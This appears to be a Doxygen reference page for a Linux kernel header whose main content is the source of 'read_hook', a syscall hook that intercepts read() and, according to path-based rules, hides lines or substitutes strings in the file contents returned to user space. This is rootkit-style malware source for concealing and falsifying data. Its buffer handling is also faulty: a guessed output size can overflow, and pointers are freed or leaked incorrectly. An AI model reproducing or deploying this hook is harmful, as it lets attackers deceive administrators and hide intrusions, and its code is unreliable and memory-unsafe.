alterate.h File Reference

#include <linux/file.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <linux/namei.h>
#include <linux/path.h>
#include <linux/ptrace.h>
#include <linux/slab.h>
#include <linux/spinlock.h>
#include <linux/types.h>
#include <linux/uaccess.h>

Include dependency graph for alterate.h:

This graph shows which files directly or indirectly include this file:

Go to the source code of this file.

Classes
struct	modified_file

Functions
asmlinkage long notrace	read_hook (const struct pt_regs *regs)

Variables
struct list_head	modified_files_list
spinlock_t	modified_files_lock
asmlinkage long(*	__orig_read )(const struct pt_regs *)

Function Documentation

read_hook()

asmlinkage long notrace read_hook

(

const struct pt_regs *

regs

)

Definition at line 8 of file alterate.c.

                                                              {
    long ret = __orig_read(regs);
    if (ret <= 0)
        return ret;
 
    // Resolve fd absolute path
    int fd = regs->di;
    struct file *f = fget(fd);
    if (!f)
        return ret;
    struct path p = f->f_path;
    path_get(&p);
    char buf[512];
    char *fullpath = d_path(&p, buf, sizeof(buf));
    path_put(&p);
    fput(f);
    if (IS_ERR(fullpath))
        return ret;
 
    // Look up rule for this path
    struct ulist_item *it;
    char *rule_payload = NULL;
 
    spin_lock(&alt_list.lock);
    list_for_each_entry(it, &alt_list.head, list) {
        if (strcmp(fullpath, it->value) == 0) {
            rule_payload = it->payload;
            break;
        }
    }
    spin_unlock(&alt_list.lock);
 
    if (!rule_payload)
        return ret;
 
    // Parse payload = "line:substr:src:dst"
    char *dup = kstrdup(rule_payload, GFP_KERNEL);
    if (!dup)
        return ret;
    char *fld[4] = { NULL, NULL, NULL, NULL };
    int i;
    for (i = 0; i < 3; i++)
        fld[i] = strsep(&dup, ":");
    fld[3] = dup;
 
    int hide_line = simple_strtol(fld[0], NULL, 10);
    char *hide_substr = fld[1][0] ? fld[1] : NULL;
    char *src = fld[2][0] ? fld[2] : NULL;
    char *dst = fld[3][0] ? fld[3] : NULL;
 
    // Copy user buffer to kernel space
    char *kbuf = kmalloc(ret + 1, GFP_KERNEL);
    if (!kbuf)
        return ret;
    if (copy_from_user(kbuf, (char __user *)regs->si, ret)) {
        kfree(kbuf);
        return ret;
    }
    kbuf[ret] = '\0';
 
    // Allocate a new buffer for the modified content, times 2, no other idea for
    // the moment
    char *out = kmalloc(ret * 2 + 1, GFP_KERNEL);
    if (!out) {
        kfree(kbuf);
        return ret;
    }
 
    int line_no = 0;
    size_t out_len = 0;
    char *line;
    while ((line = strsep(&kbuf, "\n"))) {
        bool skip = false;
        line_no++;
 
        // Hide line by number
        if (hide_line > 0 && line_no == hide_line)
            skip = true;
 
        // Hide line by substring
        if (!skip && hide_substr && strstr(line, hide_substr))
            skip = true;
 
        // Replace substring
        if (!skip && src) {
            char *seg = line, *p2;
            while ((p2 = strstr(seg, src))) {
                // First part of the line
                size_t before = p2 - seg;
                memcpy(out + out_len, seg, before);
                out_len += before;
 
                // Replace substring
                memcpy(out + out_len, dst, strlen(dst));
                out_len += strlen(dst);
                seg = p2 + strlen(src);
            }
 
            // Copy the rest of the line
            strcpy(out + out_len, seg);
            out_len += strlen(seg);
            out[out_len++] = '\n';
            continue;
        }
 
        // Copy original line if not skipped
        if (!skip) {
            memcpy(out + out_len, line, strlen(line));
            out_len += strlen(line);
            out[out_len++] = '\n';
        }
    }
    out[out_len] = '\0';
 
    // Write back to user space
    if (!copy_to_user((char __user *)regs->si, out, out_len))
        ret = out_len;
 
    kfree(out);
    kfree(kbuf);
    return ret;
}

Variable Documentation

__orig_read

asmlinkage long(* __orig_read) (const struct pt_regs *) ( const struct pt_regs *  )

extern

Definition at line 6 of file alterate.c.

modified_files_list

struct list_head modified_files_list

extern

modified_files_lock

spinlock_t modified_files_lock

extern